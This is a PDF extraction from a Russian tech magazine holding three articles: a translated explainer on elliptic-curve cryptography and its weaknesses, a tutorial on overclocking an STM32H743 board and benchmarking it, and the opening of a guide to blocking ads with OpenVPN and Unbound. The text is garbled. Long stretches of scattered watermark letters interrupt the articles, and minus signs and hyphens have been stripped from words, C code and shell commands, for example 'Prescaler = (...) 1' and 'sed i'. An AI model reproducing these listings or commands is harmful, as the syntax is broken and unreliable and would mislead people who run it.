Эллиптические кривые медленно запрягали, но теперь стремительно набира ют популярность — и очень быстро распространяются. Эллиптическую крип тографию сейчас можно найти в самых разных приложениях: правительство США использует ее для защиты внутренних коммуникаций, проект Tor — что бы обеспечить анонимность; этот же механизм работает, если нужно под твердить право собственности на биткойны, отправить сообщение в iMes sage и зашифровать данные DNS с помощью DNSCurve; также это пред почтительный метод аутентификации для безопасного серфа через SSL/TLS. Cloudflare пользуется ECC, чтобы обеспечить совершенную прямую сек ретность (PFS), которая необходима, чтобы сохранить приватность в сети.

Криптографические алгоритмы первого поколения вроде RSA и Диффи — Хеллмана все еще подойдут для большинства сфер, но ECC быстро набирает популярность — как решение для конфиденциальности и безопасности в интернете.

Дальше пойдут чуть устаревшие сведения и кар тинки — из тех времен, когда деревья были выше, трава зеленее, а браузеры щедрее делились све дениями о шифровании. Зато эти сведения и кар тинки наглядны — так что пролистывать их не сто ит.

Если ты откроешь HTTPS версию блога Cloudflare через свежий Chrome или Firefox, то твой браузер будет использовать эллиптическую криптогра фию. Можешь убедиться в этом сам — нажми на замок слева от адресной строки и выбери вкладку «Соединение».

На этой картинке нас в первую очередь интересует текст ECDHE_RSA. ECDHE

расшифровывается как Elliptic Curve Di e Hellman Ephemeral — это механизм обмена ключами, построенный на эллиптических кривых. В Cloudflare он обеспечивает совершенную прямую секретность на SSL. А с помощью RSA здесь идентифицируется сервер.

Мы используем RSA, потому что SSL сертификат Cloudflare привязан к паре RSA ключей. Но современные браузеры поддерживают и сертификаты на эллиптических кривых. Если бы Cloudflare использовал такой сертификат, его обозначение выглядело бы ECDHE_ECDSA. Идентификация сервера в таком случае выполнялась бы с помощью эллиптического алгоритма элек тронной подписи (Elliptic Curve Digital Signature Algorithm).

Уравнение эллиптической кривой для ECDHE, которую использует Cloud flare (и Google.com, кстати):

max: 115792089210356248762697446949407573530086143415290314195533

631308867097853951

curve: y² = x³ + ax + b

a = 115792089210356248762697446949407573530086143415290314195533

631308867097853948

b = 410583637251521421293261297800472684091144410159937255548352

56314039467401291

Уровень производительности ECDSA по сравнению с RSA впечатляет. Даже со старыми версиями OpenSSL, которые не заточены под код эллиптических кривых, ECDSA подпись с 256 битным ключом более чем в 20 раз быстрее RSA подписи с 2048 битным ключом.

На MacBook Pro с OpenSSL 0.9.8 тест скорости выдает:

Doing 256 bit sign ecdsa's for 10s: 42874 256 bit ECDSA signs in 9.

99s

Doing 2048 bit private rsa's for 10s: 1864 2048 bit private RSA's in

9.99s

То есть с ECDSA за то же время можно получить в 23 раза больше подписей, чем с RSA.

Cloudflare постоянно ищет способы поднять производительность SSL. Например, мы начали использовать оптимизированную версию ECC, которая увеличивает скорость ECDHE более чем в два раза. Эллиптическая крип тография экономит время, мощность и вычислительные ресурсы — как для сервера, так и для браузера — и помогает нам сделать сеть одновременно быстрее и безопаснее.

ОБОРОТНАЯ СТОРОНА

Но не все так радужно в мире эллиптических кривых — есть и тонкие места, которые мешают им полностью охватить отрасль.

Примечание переводчика: далее речь снова пой дет о делах минувших дней — но делах показа тельных.

Одно из них — недавно мелькавший в новостях Dual_EC_DRBG (Dual Elliptic Curve Deterministic Random Bit Generator). Это генератор случайных чисел,

стандартизированный Национальным институтом стандартов и технологий США (NIST), который продвигало их же Агентство национальной безопас ности.

Dual_EC_DRBG генерирует псевдослучайные числа, используя принцип эллиптических кривых. Его алгоритм берет точки на кривой и многократно выполняет операцию по соединению этих точек — чтобы получить новые. После его публикации сообщалось (PDF), что в генератор, возможно, встро ен бэкдор — а значит, последовательность полученных чисел можно пол ностью предсказать, если есть правильный секретный ключ.

Недавно компания RSA отозвала несколько своих продуктов, потому что Dual_EC_DRBG был установлен как дефолтный генератор псевдослучайных чисел в их линейке продуктов безопасности. Был генератор случайных чисел написан с бэкдором или нет, силу самой технологии эллиптических кривых это не отменяет — но зато поднимает вопрос о стандартизации. Как мы уже писали ранее, нужно следить, чтобы ваша система использовала адекватно случайные числа.

Некоторые скептически настроенные криптографы вообще испытывают недоверие — и к самому NIST, и к опубликованным им стандартам, которые поддержало АНБ. Почти все широко применяемые эллиптические кривые попадают в эту категорию. Об атаках на эти конкретные кривые ничего не слышно — однако плохие кривые существуют, и некоторые считают, что лучше поберечься, чем потом сожалеть.

Есть, конечно, кое какой прогресс в разработке кривых с эффективной арифметикой за пределами NIST, включая кривую 25519, созданную Дэни елом Бернштейном (djb), и недавно вычисленные кривые Пауло Баретто со товарищи, — но до их широкого распространения еще жить и жить. Пока эти «нетрадиционные» кривые не встроят в браузеры, их нельзя будет использовать для обеспечения безопасности передаваемых по сети данных.

Другое тонкое место ECC связано с патентами. Более 130 патентов, каса ющихся конкретного использования эллиптических кривых, принадлежат BlackBerry — ведь в 2009 году они приобрели Certicom. Многие из тех патен тов лицензированы для эксклюзивного использования частными компани ями — и даже АНБ. Некоторые разработчики из за этого взяли паузу — чтобы оценить, не нарушает ли их работа с ECC эти патенты. В 2007 году Certicom подала иск против Sony — из за нескольких видов использования эллипти ческих кривых, — однако в 2009 году иск был отклонен. Сейчас уже есть куча разных реализаций криптографии с эллиптическими кривыми, которые, как считается, не нарушают эти патенты — а потому широко используются.

Уцифровой подписи ECDSA есть серьезный недостаток по сравнению

сRSA: она требует хорошего источника энтропии. Без достаточной случай ности чисел секретный ключ могут раскрыть. В 2013 году слабый генератор случайных чисел в Android позволил хакерам найти секретный ключ ECDSA и взломать несколько биткойн кошельков. У Sony PlayStation была похожая уязвимость. Для электронных подписей нужен хороший генератор случайных чисел. Dual_EC_DRBG уж точно не подойдет.

ЗАГЛЯДЫВАЯ ВПЕРЕД

Впрочем, недостатки есть у всякой технологии, а вот достоинства ECC по сравнению с традиционной RSA неоспоримы — и уже широко признаны. Многие эксперты беспокоятся, что математические алгоритмы RSA и Диф фи — Хеллмана могут быть успешно взломаны в течение ближайших лет — и тогда ECC останется единственной разумной альтернативой.

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ТРЮКИ

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

 

 

 

 

 

p

df

 

c

 

n

e

 

 

 

 

 

-x

ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

df

 

c

n

e

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

Александр Бурага

Инженер конструктор радиоэлектронной техники. С вниманием следит за прогрессом IoT и носимой электроники. dtp avb@yandex.ru

КАК Я ВЫЖАЛ 620 МГЦ

ИЗ СОВМЕСТИМОЙ С ARDUINO ПЛАТЫ

Производительности всегда не хватает. Не важно, идет ли речь о ноутбуке, суперкомпьютере, смартфоне или мик роконтроллере. Иногда проблему можно решить, просто обновившись до топового железа. Но если и его вдруг ока залось недостаточно, то дальше остается только разгон. Такая соблазнительная возможность, что ей едва ли стоит сопротивляться.

Решившись на разгон, ты тут же столкнешься с двумя основными проб лемами. Во первых, нужно как то вывести железо за штатный режим работы и при этом сохранить стабильность. Во вторых, полученный прирост про изводительности предстоит еще чем то замерить, чтобы оценить реальную пользу от всех ухищрений.

Конечно, если речь идет о разгоне игрового ПК, то зачастую все тривиаль но. Многие производители процессоров и видеокарт выпускают собственные утилиты для повышения напряжения и тактовых частот, так что в итоге все сводится к перемещению ползунков в окошке программы. После чего оста ется только запустить встроенный в игру бенчмарк и наблюдать рост циферок (FPS имеет значение, ага).

Но задумывался ли ты, как это все работает на самом деле? И что нужно знать, чтобы достичь по настоящему выдающихся результатов? Попробую продемонстрировать на примере.

АППАРАТНАЯ ЧАСТЬ

Низкоуровневый разгон железа проще всего будет показать на обычном мик роконтроллере. Наверняка ты знаком с Arduino — эта крохотная плата перевернула мир мейкеров, хакеров и всех сопричастных. В ней минимум компонентов: кварцевый резонатор, микросхема ATmega328P и регулятор питания. И все же это почти компьютер. А значит, ее тоже можно разогнать!

Однако сегодня я настроен на максимальный результат, и какие то жал кие 16 МГц тактовой частоты меня совершенно не интересуют. Отложим Ar duino в сторонку и возьмем плату Nucleo 144 на основе STM32H743.

Если пытаться подобрать подходящую аналогию из мира персональных компьютеров, то перед нами Core i9, вне всяких сомнений. Ядро ARM (Cortex M7) тут работает на ошеломительной частоте 480 МГц — это ровно в 15 раз быстрее оригинальной Arduino Uno. Мало того, здесь размещено два мегабайта постоянной флеш памяти и целый мегабайт ОЗУ. Производитель ности добавляет кеш программ и кеш данных (по 16 Кбайт), а также встро енный ускоритель исполнения кода ART.

Сегодня существуют две версии такой отладочной платы. Изначально в модельной линейке Nucleo 144 появилась H743ZI с программатором ST Link V2 1 и микроконтроллером ревизии Y. Она поддерживала штатную работу «всего лишь» на 400 МГц. Но уже через несколько месяцев произво дитель сумел оптимизировать схему кристалла и начал выпускать микрокон троллеры Н7 новой ревизии V с базовой частотой в 480 МГц. Именно они лег ли в основу платы H743ZI2. Кроме того, обновили и программатор — теперь это ST Link V3E с возможностью внутрисхемной эмуляции.

Так что, если будешь выбирать себе такую же плату, будь предельно внимате лен, внешне они очень похожи и выполнены на одинаково белом текстолите. Да и по другим параметрам особых отличий нет: разъемы Arduino, Morpho, Ethernet и интерфейс USB присутствуют на обеих платах.

НОВАЯ IDE

Даже очень хорошее железо может оказаться бесполезным, если для него не будет подходящего ПО. К счастью, это понимают и в компании ST Micro electronics, поэтому сравнительно недавно там сделали собственную CubeI DE. Однако совсем новой ее назвать трудно. По сути, это надстройка над Eclipse, что может обрадовать пользователей, знакомых со средами Atol lic TrueStudio и AC6 Workbench.

Интегрированная среда разработки не только бесплатна и доступна на всех основных платформах (поддерживаются Windows, Linux и macOS), но еще и позволяет «из коробки» пользоваться современными средствами отладки и трассировки (OpenOCD, GDB), а также настраивать периферию микроконтроллера буквально в пару кликов мыши.

При попытке отладки приложения на H743ZI2 сре да будет настойчиво требовать обновить ST Link до «актуальной версии». Делать этого ни в коем случае не стоит, по крайней мере если не хочешь откатить прошивку самого программатора до доисторической версии. Действительно акту альное обновление ты сможешь накатить только при помощи ST Link Utility.

После установки и настройки тулчейна можно переходить к тестированию. Нам предстоит портировать исходные коды бенчмарков на нашу архитектуру и реализовать пару платформенно зависимых функций. Так как операционная система в данном случае совершенно не обязательна, нужно будет пере определить функцию printf для вывода отладочной информации и функцию текущего времени — для расчета результата тестов.

Если тебе больше по душе Arduino IDE, ты можешь сделать проект в ней. Начиная с вер сии 1.6.0 в пакет stm32duino была добавлена поддержка платы H743ZI2. Зайди на GitHub раз работчиков и далее следуй инструкциям в опи сании, чтобы добавить ссылку для менеджера пакетов.

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ТРЮКИ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

g

 

 

p

 

 

c

 

 

 

 

 

 

 

df

-x

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

c

 

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

 

КАК Я ВЫЖАЛ 620 МГЦ ИЗ СОВМЕСТИМОЙ С ARDUINO ПЛАТЫ

НАСТРАИВАЕМ ПРОЕКТ

После создания проекта для отладочной платы Nucleo H743ZI2 нам нужно изменить несколько настроек по умолчанию.

Окно настройки периферии имеет две полезные области (на самом деле их гораздо больше, но нас сейчас интересуют конкретно эти): Pinout & Configu ration и Clock Configuration. Функции периферии можно указать из меню, выпадающего по правому щелчку мыши. Более тонкая настройка производит ся в окне System view. Графическое представление тактового дерева можно найти во вкладке Clock Configuration.

Обрати внимание, что для дальнейшей настройки системной частоты в качес тве основного источника будет использоваться ФАПЧ (PLL), тактируемый от внешнего кварцевого резонатора HSE. В нашем случае он уже находится на отладочной плате и имеет номинал 8 МГц.

Максимально возможная тактовая частота ядра и системной шины при этом может быть обеспечена установкой делителей DIVM1 = 1 и DIVP1 = 7. Значение множителя DIVN1 предстоит увеличивать до тех пор, пока микроконтроллер будет работать стабильно. Делители HPRE, D1PRE, D2PPRE1, DRPPRE2 и D3PPRE установим равными двум, остальные оставим по умолчанию.

Нельзя забывать и о питании. Блок ФАПЧ работает от линейного регуля тора, режим которого [VOS0...VOS5] программно задает уровень нап ряжения от 1,35 до 0,7 В. Кроме того, при необходимости можно подать внешнее питание Vcore, но только если оно не превышает 1,4 В.

Как ты понимаешь, повышение напряжения позволяет добиваться боль ших тактовых частот. Это связано с тем, что транзисторы в схеме начинают быстрее менять свое состояние (сокращается длительность переднего и заднего фронта сигнала).

Подробнее ознакомиться с системой питания микроконтроллеров семейства STM32H7 можно в разделе System supply configuration аппноута Smart power management.

Для расчета времени добавим таймер TIM2. С установленной конфигурацией делителей он будет работать на частоте, равной половине системной SYSCLK. На этом настройку параметров можно завершить, так что сохраняй установки и запускай генерацию проекта.

Теперь предстоит указать компилятор и компоновщик. Это можно произвести в меню Project → Properties → C/C++ Build → MCU Settings (MCU GCC Com piler, MCU GCC Linker). Причем для чисто академических целей предлагаю сперва оставить оптимизации на уровне O0 (оптимизация отключена).

На следующем шаге нам нужно обеспечить корректную работу функции printf. Для этого подключаем заголовочный файл <stdio.h> и добавляем ключик компиляции u _printf_float для компоновщика. Остается только реализовать функцию вывода символов:

int __io_putchar(int ch) {

/* Use Instrumentation Trace Macrocell */

ITM_SendChar((uint32_t) ch);

return ch;

}

Кроме того, переопределим функцию установки тактовой частоты:

SystemClock_Config(uint32_t* FinalCoreClock) {

...

__HAL_PWR_VOLTAGESCALING_CONFIG(PWR_REGULATOR_VOLTAGE_SCALE0);

...

RCC_OscInitStruct.PLL.PLLM = 1;

RCC_OscInitStruct.PLL.PLLN = 120; /* @480 MHz */

RCC_OscInitStruct.PLL.PLLP = 2;

RCC_OscInitStruct.PLL.PLLQ = 4;

RCC_OscInitStruct.PLL.PLLR = 2;

RCC_OscInitStruct.PLL.PLLRGE = RCC_PLL1VCIRANGE_3;

RCC_OscInitStruct.PLL.PLLVCOSEL = RCC_PLL1VCOWIDE;

RCC_OscInitStruct.PLL.PLLFRACN = 0;

if (HAL_RCC_OscConfig(&RCC_OscInitStruct) != HAL_OK) {

Error_Handler();

}

...

if (HAL_RCC_ClockConfig(&RCC_ClkInitStruct, FLASH_LATENCY_14) !=

HAL_OK) {

Error_Handler();

}

...

*FinalCoreClock = HSE_CLOCK / 2 * RCC_OscInitStruct.PLL.PLLN;

}

В листинге выше особый интерес представляет настройка множителя PLLN, который влияет на тактовую частоту ядра (что самым непосредственным образом сказывается на производительности). Также обрати внимание на процедуру выбора источника питания для ФАПЧ __HAL_PWR_VOLTAGESCAL ING_CONFIG и установку таймингов для флеш памяти HAL_RCC_ClockConfig.

Функцию настройки таймера TIM2 можно реализовать следующим обра зом:

static void MX_TIM2_Init(uint32_t CoreClock) {

...

htim2.Instance = TIM2;

htim2.Init.Prescaler = (CoreClock / (2 * 1000000)) 1;

htim2.Init.CounterMode = TIM_COUNTERMODE_UP;

htim2.Init.Period = 0xFFFFFFFF; /* timer period */

htim2.Init.ClockDivision = TIM_CLOCKDIVISION_DIV1;

htim2.Init.AutoReloadPreload = TIM_AUTORELOAD_PRELOAD_ENABLE;

...

}

Теперь в любой точке нашего кода мы сможем узнать количество мик росекунд, прошедших с запуска таймера. Для этого достаточно будет просто обратиться к регистру TIM2 → CNT.

Вообще говоря, наличие на микросхеме активной системы охлаждения из вентилятора и кулера не обязательно. Убедиться в этом помогает каль кулятор питания, в соответствии с которым энер гопотребление не должно превысить 200 мА на штатной частоте. Далее простые расчеты показывают, что даже при квадратичной зависи мости нам нужно будет разгонять ФАПЧ вплоть до одного гигагерца, чтобы приблизиться к «опасной» отметке в 85 °С.

БЕНЧМАРКИ

Сам по себе разгон вряд ли кому то интересен, куда важнее его результаты: сколько процентов производительности реально удалось получить и поз волило ли это утереть нос соседу. А для этого хорошо бы сперва договорить ся об общих критериях оценки системы.

Удивительно, но это не так то просто. Задачи у всех разные, а уж способов их решения и того больше. К счастью, с годами вроде бы всем удалось договориться, однако это была целая история.

Первым широко распространенным тестом производительности принято считать Whetstone, который вышел в ноябре 1972 года. В качестве эталонной единицы измерения в нем использовался 1 MWIPS, соответствующий одному миллиону операций в секунду на архитектуре DEC VAX 11/780. Тест включал в себя 150 простых выражений, разделенных на восемь блоков, которые исполнялись в основном цикле.

Предполагалось, что малый размер теста позволит полностью уместить его в кеш L1 вычислительных машин и игнорировать преимущества L2. Whet stone не был рассчитан на использование оптимизационных компиляторов, что в итоге привело к путанице в расчете результатов. Появившиеся в 1980 х «продвинутые» компиляторы научились оптимизировать адресные переходы, виртуально увеличивая производительность в тестах в два раза.

Если тест Whetstone не был привязан к какой либо операционной системе (и исполнялся в том числе на barebone платформах), то разработанный в 1984 году тест Dhrystone предназначался для оценки производительности вычислительных систем на ядре Unix и использовал, например, системные библиотечные функции работы со временем.

В отличие от Whetstone, делающего упор на работу с числами с пла вающей точкой, Dhrystone специализировался на работе с целочисленными и строковыми переменными. В настоящее время для оценки производитель ности достаточно широко используется версия 2.1, которая научилась больно бить компиляторы по рукам за любые попытки излишней оптимизации.

Синтетический тест CoreMark пришел на смену Dhrystone в 2009 году. Он включает в себя вычисление контрольной суммы, работу со связанными списками, сортировку и матричные операции. Таким образом, он максималь но приближен к исполняемому коду современных проектов. CoreMark не использует системные библиотеки (его код полностью доступен в виде исходников) и тоже достаточно эффективно борется с оптимизирующей фун кцией компиляторов.

На сегодняшний день консорциум EEMBC (создатель CoreMark) — один из наиболее авторитетных разработчиков синтетических тестов для мик роконтроллеров и устройств IoT. Предоставляемые на рассмотрение резуль таты проходят проверку и добавляются в рейтинг. Ознакомиться с ним ты можешь на сайте EEMBC в разделе CoreMark Scores.

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ТРЮКИ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

КАК Я ВЫЖАЛ 620 МГЦ ИЗ СОВМЕСТИМОЙ С ARDUINO ПЛАТЫ

Портируем код

Актуальная версия бенчмарка Whetstone включает в себя один файл whet stone.c, совместимый c ANSI C89, и щедро приправлена метками и операто рами безусловного перехода goto. Да, вот такая занятная древность! Пор тирование заключается в переименовании функции теста c main на другое имя (например, whetstone). Кроме того, нужно не забыть передать ей аргу менты ls (количество повторений теста в рамках одного прогона) и to tal_LOOPS (общее количество прогонов за весь тест).

Исходные коды описанных бенчмарков есть на GitHub:

Whetstone

Dhrystone

CoreMark

Реализация бенчмарка Dhrystone 2.1 состоит из трех файлов: dhry_1.c, dhry_2.c и dhry.h. Так как тест был разработан для операционных систем семейства Unix, помимо переименовывания функции main необходимо реализовать функцию time (с использованием макроса #define TIME). Так же нужно переопределить #define Mic_secs_Per_Second 1000000.0 (так как используемый нами системный таймер работает на частоте 1 МГц и один отсчет этого таймера соответствует одной микросекунде).

Бенчмарк CoreMark реализован в нескольких файлах, но настройка и пор тирование теста происходит в заголовочном файле с говорящим названием core_portme.h. Для корректного расчета времени необходимо установить макроопределения ITERATIONS (разработчики архитектуры ARM рекомен дуют подобрать такое количество итераций, чтобы длительность исполнения теста была не менее 30 с) и CLOCKS_PER_SEC (тактовая частота считающего время таймера, в нашем случае 1 000 000).

После добавления тестов в рабочий цикл функции вызова бенчмарков основная программа для оценки производительности примет следующий вид:

#include <stdio.h>

#define TOTALCYCLES 10

int main(void) {

HAL_Init();

SystemClock_Config(&coreClock);

printf("System clock: %lu \n\r", coreClock);

MX_GPIO_Init(); /* Initialize all configured peripherals */

MX_TIM2_Init(coreClock);

for (int c = 0; c < TOTALCYCLES; c++) {

htim2.Instance >CNT = 0; /* Reset 32 bit timer value */

HAL_TIM_Base_Start(&htim2); /* Start timer */

printf("======================================\n\r");

printf("Cycle run: %d\n\r", c);

printf("Whetstone test ... beginning \n\r");

whetstone(1000, 10); /* Run Whetstone test */

printf("Whetstone test ... end \n\r");

printf("Dhrystone test ... beginning \n\r");

dhrystone21(10000000); /* Run Dhrystone test */

printf("Dhrystone test ... end \n\r");

printf("Coremark test ... beginning \n\r");

core_main(); /* Run Coremark test */

printf("Coremark test ... end \n\r");

HAL_TIM_Base_Stop(&htim2); /* Stop timer */

}

HAL_GPIO_WritePin(GPIOB, GPIO_PIN_0, GPIO_PIN_SET);

while (1);

}

ПОЕХАЛИ!

Перед запуском микроконтроллера в настройках отладчика ST Link необ ходимо включить поддержку Serial Wire Viewer (SWV) и указать текущую так товую частоту ядра микроконтроллера. Кроме того, нужно включить окно вывода SWV «Window → Show View → SWV → SWV ITM Data Console» и раз решить вывод нажатием на кнопку Start Trace.

К сожалению, во время экспериментов ты можешь случайно «залочить» мик роконтроллер таким образом, что он перестанет отвечать на сигналы прог рамматора. Поэтому в проектах, работающих с нештатными частотами, край не рекомендуется поставить временную задержку перед функцией, опре деляющей тактовую частоту процессора (хотя бы в несколько секунд). В таком случае ты успеешь подключиться отладчиком и перепрошить мик роконтроллер.

Есть альтернативный способ: выбери режим under reset в параметрах отладчика и зажми кнопку сброса. Тогда на линии nRST окажется логический ноль и микросхема перейдёт в режим программирования.

Будь внимателен! Во время экспериментов есть вероятность «залочить» микроконтроллер.

Предположим, все прошло удачно и программа выдала результат. Но выг лядит он удивительно: 8 DMIPS и 69,75 CoreMark абсолютно не соответствуют заявленным характеристикам и уж тем более нашим амбициям. :)

Что же мы упустили? Во первых, стоит включить кеш программ и данных, добавив во время инициализации функции SCB_EnableICache и SCB_En ableDCache. Либо ты можешь активировать их в графическом меню через настройки периферии (даже несмотря на то, что они напрямую относятся к ядру): CORTEX M7 → CPU Icache → Enabled / CPU Dcache → Enabled.

Во вторых, можно поиграть с ключами оптимизации компилятора O3 иOfast. Ну и наконец, мы же можем разогнать микроконтроллер и попытаться полностью раскрыть потенциал железа!

АНАЛИЗ РЕЗУЛЬТАТОВ

Не буду долго ходить вокруг да около: после череды попыток и последова тельного увеличения множителя частоты PLLN до 155 (соответству ет 620 МГц) мне удалось добиться стабильной работы H743 и без проблем пройти все тесты. Результаты приведены на графике ниже.

Более медленное исполнение кода из ОЗУ в нашем случае объясняется кон курентным доступом к памяти данных/программ и независимым доступом в случае расположения исполняемого кода в области флеш памяти.

Как видно из результатов, тест Whetstone наиболее подвержен влиянию настроек компилятора и является наименее репрезентативным из представ ленных. А при разгоне с максимальными настройками оптимизации ком пилятора GCC получен результат, который уверенно превзошел заявленные производителем характеристики (2400 CoreMark / 1027 DMIPS).

ИТОГИ

Если при слове «микроконтроллеры» тебе представляется ардуинка на AVR, мигающая светодиодом как заведенная, то спешу тебя обрадовать — ее сов ременные аналоги способны на куда более интересные вещи. Некоторые даже запускают на них нейронные сети и используют для машинного зрения. Что неудивительно — с такими то характеристиками.

Вообще говоря, полученные результаты позволяют поместить нынешние микроконтроллеры на уровень персональных компьютеров второй половины нулевых, что очень неплохо! Более детально ознакомиться с рейтингом оце нок и историей происхождения большинства тестов ты можешь на этом сай те.

Удачного разгона!

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ТРЮКИ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ИСПОЛЬЗУЕМ VPN И UNBOUND, ЧТОБЫ УБРАТЬ БАННЕРЫ

ИЗ ПРИЛОЖЕНИЙ

Недавно я купил телефон Xiaomi и всем был доволен, кроме рекламы в фирменных при ложениях. Да, есть функция, которая ее должна отключать, но полностью от нее не избавиться. Поэтому я почти не исполь зую телефон для просмотра сайтов, ведь в мобильных браузерах вообще нельзя установить блокираторы рекламы.

GH0st3rs qiqwoe@protonmail.com

Кто то скажет, что реклама помогает поддерживать бесплатные проекты, и, возможно, когда то это так и было, но сейчас реклама — сбор информации о тебе, твоих привычках, поисковых запросах и прочем: достаточно пос мотреть трафик, который генерирует твой телефон во время обычного использования. Я давно укомплектовал свой десктопный браузер плагинами типа NoScript и uBlock, почти позабыл о рекламе, но телефон о ней постоянно напоминал.

Последней каплей стало то, что я решил изучить трафик приложения Xiao mi MiFit и обнаружил в ответах серверов ссылки на странные APK файлы (описывать их я не стану, это выходит за рамки статьи. Желающие могут самостоятельно перехватить злополучные запросы, тем более что они идут по обычному HTTP).

Долго думать не пришлось, под рукой был свободный сервер с белым IP. Его я и решил использовать, чтобы развернуть VPN, а заодно и настроить там блокировку всего лишнего — единожды и для всех подключенных устройств.

ПОДГОТОВИТЕЛЬНЫЙ ЭТАП

Предполагается, что у тебя уже есть сервер с публичным IP адресом, где установлен Linux: в моем случае это был Ubuntu 16.10. Представленные при меры будут работать и на других дистрибутивах Linux, с той разницей, что нужно будет адаптировать установку пакетов под твой пакетный менеджер.

Так получилось, что мне достался сервер с устаревшими ссылками на репозитории, а следовательно, при попытке обновиться я получал мно жество ошибок.

Попытка обновиться

Google ненавязчиво подсказал мне, что репозитории были перемещены на поддомен old releases. Исправляем и обновляемся:

$ sed i 's|us.archive|old releases|' /etc/apt/sources.list

$ sed i 's|//security|//old releases|' /etc/apt/sources.list

$ apt update && apt upgrade y && reboot

Установка OpenVPN

Есть два пути:

простой — с использованием уже готового образа Docker (для тех, кто не хочет заморачиваться и вникать в конфиги OpenVPN);

сложный — с ручной установкой и конфигурированием OpenVPN.

Мы рассмотрим оба варианта и начнем с простого.

Docker-образ с OpenVPN

Скачиваем образ.

$ docker pull kylemanna/openvpn

